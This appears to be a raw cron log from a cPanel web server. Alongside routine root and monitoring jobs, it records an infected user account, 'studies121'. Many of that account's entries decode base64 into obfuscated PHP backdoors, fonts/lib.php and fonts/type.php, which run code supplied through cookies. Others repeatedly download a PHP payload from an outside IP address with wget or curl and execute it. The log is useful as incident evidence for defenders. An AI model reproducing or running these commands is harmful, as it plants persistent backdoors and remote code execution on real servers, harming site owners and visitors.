Sep  1 04:12:01 ip-184-168-122-23 CROND[13804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:12:01 ip-184-168-122-23 CROND[13806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:12:01 ip-184-168-122-23 CROND[13808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:12:01 ip-184-168-122-23 CROND[13810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:13:01 ip-184-168-122-23 CROND[13908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:13:01 ip-184-168-122-23 CROND[13909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:13:01 ip-184-168-122-23 CROND[13907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:13:01 ip-184-168-122-23 CROND[13910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:14:01 ip-184-168-122-23 CROND[14021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:14:01 ip-184-168-122-23 CROND[14023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:14:01 ip-184-168-122-23 CROND[14026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:14:01 ip-184-168-122-23 CROND[14025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:14:01 ip-184-168-122-23 CROND[14028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:15:01 ip-184-168-122-23 CROND[14230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:15:01 ip-184-168-122-23 CROND[14231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:15:01 ip-184-168-122-23 CROND[14234]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 04:15:01 ip-184-168-122-23 CROND[14233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:15:01 ip-184-168-122-23 CROND[14236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:15:01 ip-184-168-122-23 CROND[14242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:15:01 ip-184-168-122-23 CROND[14240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:16:01 ip-184-168-122-23 CROND[14364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:16:01 ip-184-168-122-23 CROND[14366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:16:01 ip-184-168-122-23 CROND[14368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:16:01 ip-184-168-122-23 CROND[14369]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:16:01 ip-184-168-122-23 CROND[14371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:16:01 ip-184-168-122-23 CROND[14372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:17:01 ip-184-168-122-23 CROND[14494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:17:01 ip-184-168-122-23 CROND[14495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:17:01 ip-184-168-122-23 CROND[14498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:17:01 ip-184-168-122-23 CROND[14497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:18:01 ip-184-168-122-23 CROND[14617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:18:01 ip-184-168-122-23 CROND[14620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:18:01 ip-184-168-122-23 CROND[14619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:18:01 ip-184-168-122-23 CROND[14621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:18:01 ip-184-168-122-23 CROND[14623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:19:02 ip-184-168-122-23 CROND[14740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:19:02 ip-184-168-122-23 CROND[14743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:19:02 ip-184-168-122-23 CROND[14742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:19:02 ip-184-168-122-23 CROND[14745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:20:02 ip-184-168-122-23 CROND[14935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:20:02 ip-184-168-122-23 CROND[14938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14936]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:20:02 ip-184-168-122-23 CROND[14933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:21:01 ip-184-168-122-23 CROND[15064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:21:01 ip-184-168-122-23 CROND[15066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:21:01 ip-184-168-122-23 CROND[15069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:21:01 ip-184-168-122-23 CROND[15070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:22:01 ip-184-168-122-23 CROND[15172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:22:01 ip-184-168-122-23 CROND[15174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:22:01 ip-184-168-122-23 CROND[15176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:22:01 ip-184-168-122-23 CROND[15175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:22:01 ip-184-168-122-23 CROND[15177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:23:01 ip-184-168-122-23 CROND[15294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:23:01 ip-184-168-122-23 CROND[15296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:23:01 ip-184-168-122-23 CROND[15297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:23:01 ip-184-168-122-23 CROND[15298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:24:01 ip-184-168-122-23 CROND[15399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:24:01 ip-184-168-122-23 CROND[15398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:24:01 ip-184-168-122-23 CROND[15400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
